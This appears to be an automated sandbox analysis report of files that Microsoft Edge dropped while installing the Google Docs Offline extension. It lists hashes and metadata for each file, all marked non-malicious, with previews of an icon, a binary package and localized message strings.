Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir744_213029184\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
